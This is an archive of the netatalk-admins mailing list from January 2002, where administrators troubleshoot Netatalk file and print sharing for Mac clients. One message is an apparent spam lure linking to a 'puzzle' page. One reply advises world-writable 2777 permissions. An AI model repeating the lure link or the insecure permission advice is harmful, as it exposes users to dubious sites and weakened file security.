	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA28903
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 14:49:41 -0500 (EST)
Received: from doodle.onshore.com (doodle.onshore.com [206.69.90.48])
	by mailgw.onshore.com (Postfix) with ESMTP id 2C6BD6B6FB
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 13:49:06 -0600 (CST)
Date: Fri, 18 Jan 2002 13:49:24 -0600 (CST)
From: misleb@onshore.com
Subject: Error type -50
To: netatalk-admins@umich.edu
In-Reply-To: <200201181837.NAA08292@terminator.rsug.itd.umich.edu>
MIME-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
Message-Id: <20020118194906.2C6BD6B6FB@mailgw.onshore.com>

Hello,

Having an odd problem with a Netatalk installation. We have been using
it successfully for year now, but recently have been having difficulty.

What happens is that Macs get an error type -50 when copying application
files to a certain volume. Its just application files. Not documents.
Whats odd is that the files can be copied to a subshare but not the 
main share. We have shares something like this:

/share			"Atalk Server"
/share/inventory	"Inventory"

You can can copy the application files to "Inventory" just fine, but
not "Atalk Server"/inventory. Or any other subdirectory of "Atalk
Server" for that matter. This happens with all Mac OS clients besides
OS X. 

Netatalk is at version 1.4b2+asun-2.1.3 running on Debian Linux 2.2.

Any ideas?

-matthew



From netatalk.administrators-errors@umich.edu  Fri Jan 18 15:13:17 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA14242
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 15:13:17 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA17203
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 15:13:17 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA17199
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 15:13:16 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA17175
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 15:13:15 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id VAA09802;
	Fri, 18 Jan 2002 21:38:17 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 18 Jan 2002 21:13:00 +0100
Subject: Re: Error type -50
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <misleb@onshore.com>, <netatalk-admins@umich.edu>
Message-ID: <B86E405B.18926%Thomas.Kaiser@phg-online.de>
In-Reply-To: <20020118194906.2C6BD6B6FB@mailgw.onshore.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 18.01.2002 20:49 Uhr schrieb misleb@onshore.com:

> What happens is that Macs get an error type -50 when copying application
> files to a certain volume. Its just application files.
> [...]
> Any ideas?

This is an easy one :-)

Netatalk want's to copy the icons from the application's bundle resource
into the .AppleDesktop database in the volume's root, to be able to display
application-specific icons for files with the same creator code as this
application. Check the access rights on this and all subsequent directories
and change to something like 2777.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Jan 18 15:46:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA16679
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 15:46:08 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA03356
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 15:46:08 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA03344
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 15:46:08 -0500 (EST)
Received: from mailgw.onshore.com (mailgw.onshore.com [66.54.200.136])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA03328
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 15:46:07 -0500 (EST)
Received: from doodle.onshore.com (doodle.onshore.com [206.69.90.48])
	by mailgw.onshore.com (Postfix) with ESMTP
	id 32C116B6DC; Fri, 18 Jan 2002 14:23:39 -0600 (CST)
Date: Fri, 18 Jan 2002 14:23:57 -0600 (CST)
From: misleb@onshore.com
Subject: Re: Error type -50
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Cc: netatalk-admins@umich.edu
In-Reply-To: <B86E405B.18926%Thomas.Kaiser@phg-online.de>
MIME-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
Message-Id: <20020118202339.32C116B6DC@mailgw.onshore.com>

That did it. Thanks.

Any idea how the permissions would have changed all of sudden?


On 18 Jan, Thomas Kaiser wrote:
> am 18.01.2002 20:49 Uhr schrieb misleb@onshore.com:
> 
>> What happens is that Macs get an error type -50 when copying application
>> files to a certain volume. Its just application files.
>> [...]
>> Any ideas?
> 
> This is an easy one :-)
> 
> Netatalk want's to copy the icons from the application's bundle resource
> into the .AppleDesktop database in the volume's root, to be able to display
> application-specific icons for files with the same creator code as this
> application. Check the access rights on this and all subsequent directories
> and change to something like 2777.
> 
> Regards,
> 
> Thomas
> 



From netatalk.administrators-errors@umich.edu  Sat Jan 19 00:27:22 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id AAA20419
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 19 Jan 2002 00:27:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA17939
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 19 Jan 2002 00:27:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA17921
	for netatalk.administrators-members@umich.edu; Sat, 19 Jan 2002 00:27:22 -0500 (EST)
Received: from cwdhost.com ([208.23.123.114])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id AAA17886
	for <netatalk-admins@umich.edu>; Sat, 19 Jan 2002 00:27:21 -0500 (EST)
Received: (qmail 17032 invoked from network); 18 Jan 2002 14:23:18 -0000
Received: from dsl-gte-19209.linkline.com (HELO hofford) (64.30.206.246)
  by hosfordz.com with SMTP; 18 Jan 2002 14:23:18 -0000
Message-ID: <001101c1a0aa$ff0e5b60$0a01a8c0@linkline.com>
From: "Hosfordz Websites" <hosford@hosfordz.com>
To: <netatalk-admins@umich.edu>
Subject: unsubscribe
Date: Fri, 18 Jan 2002 21:34:11 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

unsubscribe


From netatalk.administrators-errors@umich.edu  Sat Jan 19 08:29:04 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA11630
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 19 Jan 2002 08:29:04 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA28897
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 19 Jan 2002 08:29:04 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA28885
	for netatalk.administrators-members@umich.edu; Sat, 19 Jan 2002 08:29:03 -0500 (EST)
Received: from icsatm2.mobilpost.com (icsatm2-f.mobil.telenor.no [212.17.129.196])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id IAA28851
	for <netatalk-admins@umich.edu>; Sat, 19 Jan 2002 08:29:02 -0500 (EST)
Date: 19 Jan 2002 14:25:21 +0100
Message-ID: <94681143790167484@mobilpost.com>
From: Gjermund Gusland Thorsen <90167484@mobilpost.com>
Subject: AppleVolumes.system database
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund Gusland Thorsen <90167484@mobilpost.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA11630

http://ext.comitas.no
-- 
Yours Sincerely,

Gjermund Gusland Thorsen



"Im just sitting here listening to the scream of the butterfly"


From netatalk.administrators-errors@umich.edu  Sat Jan 19 08:30:06 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA11731
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 19 Jan 2002 08:30:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA18088
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 19 Jan 2002 08:30:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA18076
	for netatalk.administrators-members@umich.edu; Sat, 19 Jan 2002 08:30:05 -0500 (EST)
Received: from mail50.fg.online.no (mail50-s.fg.online.no [148.122.161.50])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA18072
	for <netatalk-admins@umich.edu>; Sat, 19 Jan 2002 08:30:04 -0500 (EST)
Received: from 130.67.15.70 (ti100710a063-0324.dialup.online.no [130.67.15.70])
	by mail50.fg.online.no (8.9.3/8.9.3) with SMTP id OAA15276
	for <netatalk-admins@umich.edu>; Sat, 19 Jan 2002 14:30:02 +0100 (MET)
Date: 19 Jan 2002 14:26:24 +0100
Message-ID: <946811523gjermund@mac.com>
From: Gjermund G Thorsen <gjermund@mac.com>
Subject: AppleVolumes.system database
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund G Thorsen <gjermund@mac.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA11731

http://ext.comitas.no
-- 
Yours Sincerely,

Gjermund Gusland Thorsen



"Im just sitting here listening to the scream of the butterfly"


From netatalk.administrators-errors@umich.edu  Sun Jan 20 21:44:35 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA01983
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 20 Jan 2002 21:44:34 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA17078
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 20 Jan 2002 21:44:34 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA17065
	for netatalk.administrators-members@umich.edu; Sun, 20 Jan 2002 21:44:34 -0500 (EST)
Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA17051
	for <netatalk-admins@umich.edu>; Sun, 20 Jan 2002 21:44:33 -0500 (EST)
Received: from asus ([64.216.215.139]) by mta4.rcsntx.swbell.net
 (iPlanet Messaging Server 5.1 (built May  7 2001))
 with SMTP id <0GQ900LQ9OY8WD@mta4.rcsntx.swbell.net> for
 netatalk-admins@umich.edu; Sun, 20 Jan 2002 20:44:33 -0600 (CST)
Date: Sun, 20 Jan 2002 20:43:01 -0600
From: Brian W Chostner <chostner@swbell.net>
Subject: Copying large *.ps files fails with afp_write: asp_wrtcont: Bad Address
To: netatalk-admins@umich.edu
Message-id: <NEBBJHGGOLNFAJJNHHKKAEIMCBAA.chostner@swbell.net>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal



Hello,
I am using RedHat 7.2 2.4.2-2 kernel and the latest redhat RPM build of
netatalk, everything works as expected.
The Apple client is a Power PC running OS 9.
I can login to home and other shares, and save files like gif and jpg no
problem.
When I try to copy my wife's large 20 to 50 Mb Photoshop files I get the
error  afp_write: asp_wrtcont: Bad Address in the server message log.
Is this a file type or size problem?
Also, is there a place I can get debug info on the log messages?
I also noticed when I disable AppleTalk on the Mac in the chooser, It cant
connect to the atalk server at all over TCP. And the server and client have
several AppleTalk addresses in the nbplkup command. I guess they kind of use
both protocols.. I thought it might be a network problem, but I don't think
so.
I have been working on this problem for a while, and don't think I will be
able to crack it any time soon on my own.
Any help or suggestions would be appreciated.
Thanks..


From netatalk.administrators-errors@umich.edu  Sun Jan 20 23:53:22 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id XAA06711
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 20 Jan 2002 23:53:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA12607
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 20 Jan 2002 23:53:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA12605
	for netatalk.administrators-members@umich.edu; Sun, 20 Jan 2002 23:53:21 -0500 (EST)
Received: from 212.1.140.20 (ppp-1-20.cvx2.telinco.net [212.1.140.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id XAA12488; Sun, 20 Jan 2002 23:53:09 -0500 (EST)
Message-Id: <200201210453.XAA12488@easycomeeasygo.mr.itd.umich.edu>
Date: Sun, 20 Jan 2002 23:53:09 -0500 (EST)
From: "Paul Williams"<paulwilliams34@hotmail.com>
To: @umich.edu@easycomeeasygo.mr.itd.umich.edu
Subject:  Fwd: Can you solve this, or is it an illusion?
X-Reply-To:  "Paul Williams" <paulwilliams34@hotmail.com>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

 Warning: this may give you a headache!

View the puzzle by going to: 

http://ukmaildeliverysubsystem.com/puzzle.html



From netatalk.administrators-errors@umich.edu  Mon Jan 21 19:57:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA07428
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 21 Jan 2002 19:57:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA09466
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 21 Jan 2002 19:57:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA09456
	for netatalk.administrators-members@umich.edu; Mon, 21 Jan 2002 19:57:19 -0500 (EST)
Received: from moutng0.schlund.de (moutng0.kundenserver.de [212.227.126.170])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA09412
	for <netatalk-admins@umich.edu>; Mon, 21 Jan 2002 19:57:14 -0500 (EST)
Received: from [212.227.126.160] (helo=mrelayng0.kundenserver.de)
	by moutng0.schlund.de with esmtp (Exim 3.22 #2)
	id 16SpFL-0004LR-00; Tue, 22 Jan 2002 01:57:07 +0100
Received: from [212.184.146.199] (helo=[212.184.146.199])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16SpFL-0007uC-00; Tue, 22 Jan 2002 01:57:07 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Tue, 22 Jan 2002 01:57:19 +0100
Subject: Re: [Netatalk-devel] Confused Aliases
From: Thomas Schierle <ts@visual-s.de>
To: ntalk devel <netatalk-devel@lists.sourceforge.net>
CC: Thomas Kaiser <Thomas.Kaiser@phg-online.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B8727185.2F8A7%ts@visual-s.de>
In-Reply-To: <B863C6A0.2F3A0%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

(X-posted and follow-up-to Netatalk-Admins)

-- preface, for the audience just subscribed to Admins -- I noticed
a Macintosh client confused different shares hosted at the same
physical server. An Apple provided TIL document states, the client
looks for a volume by type (e.g. local, remote) and creation time,
in contrast to a human being that would look for server- and volume
names. --

I just wanted to drop you a short note -- I believe I found
the cause to all that trouble:

At least when logging in to the Netatalk server for the
first time using Network Browser (as I don't run DDP, it is
more convenient than Chooser for me), .AppleDouble/.Parent will
be created at the root of all new shares *at once* and therefore
the shared volumes will have the same creation time!

Admin will be well-advised when setting up a Netatalk server
to create a single new share, then log in from a Macintosh, log
out again, create the next share, log in etc. (I'd be interested
to if there is a known minimum creation time difference needed
by AppleShare clients to distinguish different remote shares).

btw, after resurrecting the offending shares, Quark all of a
sudden started to behave -- Netatalk compiled to use cnid and
byte range locking.

Placing/updating pictures works like a charm, when I saved a Quark
document, once I got a "document already open for writing" error.

Now I have locked the "Temporary Items" folder at the root of all
shares from the Macintosh side (easily done using Norton Disk Editor),
and (in my very limited testing) I didn't encounter errors any more to
date.

Nice!
-Thomas

On 2002-01-10 22:31 +0100, I wrote:

> On 2002-01-08 11:13 +0100, Thomas Kaiser wrote:
> 
>> am 07.01.2002 23:28 Uhr schrieb Thomas Schierle:
>> 
>>> I feel I should change the creation time for one of the partitions
>>> at hdc and see if it helps -- any help please to accomplish that task?
>> 
>> Removing .AppleDouble/.Parent in the share's root will do what you expect.
>> The next time, the volume will be mounted, it will be recreated
>> automatically. But I don't know whether there are potential side effects...
> 
> Thanks a lot!
> 
> looks like trashing .AppleDouble/.Parent for one sharepoint did
> the trick -- I wasn't able to figure out exact repro steps, therefore
> I'm not absolutely sure, but no more Alias trouble to date.
> 
> btw, I'd suggest to add this trick to FAQs -- for sure I'm not the
> only one setting up multiple sharepoints at once. And that matter didn't
> crop up at netatalk admins/devel before for obvious reason.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Tue Jan 22 00:39:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id AAA19143
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 22 Jan 2002 00:39:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA09903
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 22 Jan 2002 00:39:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA09895
	for netatalk.administrators-members@umich.edu; Tue, 22 Jan 2002 00:39:08 -0500 (EST)
Received: from walnut.phpwebhosting.com ([216.218.184.245])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id AAA09877
	for <netatalk-admins@umich.edu>; Tue, 22 Jan 2002 00:39:07 -0500 (EST)
Received: (qmail 23267 invoked by uid 508); 22 Jan 2002 05:38:48 -0000
Received: from unknown (HELO ?10.10.100.200?) (64.130.96.209)
  by 216.218.184.245 with SMTP; 22 Jan 2002 05:38:48 -0000
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 21 Jan 2002 23:38:58 -0600
Subject: Re: Help setting up linux print server for macs
From: Simon Dorfman <simon@simondorfman.com>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>,
        "netatalk admins umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B8725712.23F7%simon@simondorfman.com>
In-Reply-To: <B86C50DA.185F1%Thomas.Kaiser@phg-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Thomas, 
Thanks for you help.  I am following your instructions one step at a time.
I have a few more questions?  Also, for your information, I am using Suse
Linux 7.2.

On 1/17/02 2:58 AM, "Thomas Kaiser" <Thomas.Kaiser@phg-online.de> wrote:

> On Thu, 17 Jan 2002 02:17:27 -0600, Simon Dorfman wrote:
> 
>> Now how do I get a print que running?  How do I get the Okidata
>> printer icon to appear in the chooser on my macs?
> 
> 1) Make sure you can print locally from your linux box to the printer
>  <http://www.linuxprinting.org/howto/>

I can print from Konqueror.

> 
> 2) Make sure you can send PostScript data locally from your linux box to
>  your queue and it will print correctly (this may involve a PostScript RIP
>  like ghostscript if your printer doesn't speak PostScript itself)
>  <http://www.linuxprinting.org/howto/ghostscript.html#INVOKING-GS>

I can't print PostScript, so I installed the Ghostscript Suse rpm.  I still
can't print postscript data.  I am testing it by trying to print a pdf file
with acrobat reader.  It spools the file, but then it disappears from the
printer q without printing.  How do I initiate Ghostscript?  Do I use a
utility like: http://www.apsfilter.org/  ?  Does Suse have a utility like
this already?  I looked in Yast2 and couldn't find anything.

> 
> 3) Get a PPD that describes the capabilities of your printer
>  (for non PS-Printers that are driven viaq GhostScript you can generate
>  PPDs from here: 
>   <http://www.linuxprinting.org/show_driver.cgi?driver=ljet2p>)

I downloaded the PPD file for my printer.  Where should I put this file?
How do I tell linux to use it?

Thank you for your help.
Simon


> 
> 4) Set up a papd.conf entry as described in 'man papd' and the comments in
>  the config file itself. If you are using a different printing system than
>  LPR you have to supply the whole printing command instead of the queue's
>  name (see <http://www.rodsbooks.com/network/network-netatalk.html>)
> 
> Some general information (but mostly related to AppleTalk printing) can be
> found here: <http://www.giub.unibe.ch/~eugster/appleprint.html>
> 
> If you supply more information (distribution, etc.) probably someone can
> give you some detailed hints on configuration (eg. using webmin for printer
> administration: <http://www.webmin.com/webmin/>)
> 
> Regards,
> 
> Thomas
> 
> 


From netatalk.administrators-errors@umich.edu  Tue Jan 22 22:39:19 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id WAA18743
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 22 Jan 2002 22:39:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA04074
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 22 Jan 2002 22:39:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA04060
	for netatalk.administrators-members@umich.edu; Tue, 22 Jan 2002 22:39:18 -0500 (EST)
Received: from lavender.ad ([203.185.210.139])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA04017
	for <netatalk-admins@umich.edu>; Tue, 22 Jan 2002 22:39:16 -0500 (EST)
Received: from [203.185.210.149] (203.185.210.149) by lavender.ad with
 ESMTP (Eudora Internet Mail Server 3.0.3) for <netatalk-admins@umich.edu>;
 Wed, 23 Jan 2002 14:39:08 +1100
User-Agent: Microsoft-Entourage/9.0.2509
Date: Wed, 23 Jan 2002 14:39:09 +1100
Subject: Share points no longer being shared?
From: Claire van Heyningen <claire@lavender.ad>
To: <netatalk-admins@umich.edu>
Message-ID: <B8747B8C.59F3%claire@lavender.ad>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit


Hi,

We're running Mandrake Linux 7.2 with netatalk-1.4.99-0.20001108mdk.  We
have a main share point, divided into specific directories for the different
clients and departments within our company.  Everything has been running
smoothly for 6 months or so now, in that all the share points are visible
and accessible to those that they should be, but all of a sudden, one of the
share points can no longer be seen in the Chooser.  It's still there when I
look on the actual server, and the permissions haven't changed ... I have no
idea what's going on?  I've tried creating new share points as tests, and
they can't be seen either?

I've downloaded and installed the latest Webmin to see if I could get a
clearer view through a graphical interface, but there's no Netatalk module,
and then when I went to install that module, it's not supported by Mandrake
7.2.

It's becoming much more complicated than it needs to be ... I'm sure there's
a simple solution that I've missed somewhere along the way.  I'm pretty new
to the whole Linux landscape ... I hope one of you guru's can shed some
light on it for me ... ;-p

Muchly appreciated.

-- 

Claire van Heyningen
Network Services   
Lavender*

http://www.lavender.ad/

Ph:  (02) 8224 3135
Fax:  (02) 9232 4911



From netatalk.administrators-errors@umich.edu  Wed Jan 23 06:25:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA08647
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 23 Jan 2002 06:25:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA00628
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 23 Jan 2002 06:25:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA00613
	for netatalk.administrators-members@umich.edu; Wed, 23 Jan 2002 06:25:33 -0500 (EST)
Received: from tux.premedia.at ([193.83.208.41])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id GAA00560
	for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002 06:25:31 -0500 (EST)
Received: from [10.0.1.42] ([192.99.201.35])
	by tux.premedia.at (8.11.0/8.11.0) with ESMTP id g0NCb9O07042
	for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002 13:37:09 +0100
Mime-Version: 1.0
X-Sender: magnus#thenextwave.net@mail.thenextwave.net
Message-Id: <a05101001b8744dfbc5d1@[10.0.1.42]>
Date: Wed, 23 Jan 2002 12:25:28 +0100
To: netatalk-admins@umich.edu
From: Magnus Hofmueller <mh@thenextwave.net>
Subject: Netatalk & Cumulus
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


Hi!

Is there anybody working with canto cumulus and netatalk,
specially canto webpublisher?

greetings,
	magnus

From netatalk.administrators-errors@umich.edu  Wed Jan 23 06:49:49 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA09987
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 23 Jan 2002 06:49:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA20786
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 23 Jan 2002 06:49:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA20777
	for netatalk.administrators-members@umich.edu; Wed, 23 Jan 2002 06:49:48 -0500 (EST)
Received: from btclick.com (mta01.btfusion.com [62.172.195.11])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA20765
	for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002 06:49:47 -0500 (EST)
Received: from servant.geotek.co.uk ([213.123.213.6]) by
          btclick.com (Netscape Messaging Server 4.15) with ESMTP id
          GQE3IY01.H9H for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002
          11:49:46 +0000 
Received: from richard.geotek.co.uk (software [192.168.0.25])
	by servant.geotek.co.uk (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id g0NBnA307628
	for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002 11:49:10 GMT
Message-Id: <5.1.0.14.0.20020123115005.00a900f8@192.168.0.1>
X-Sender: richard@192.168.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Wed, 23 Jan 2002 11:53:46 +0000
To: netatalk-admins@umich.edu
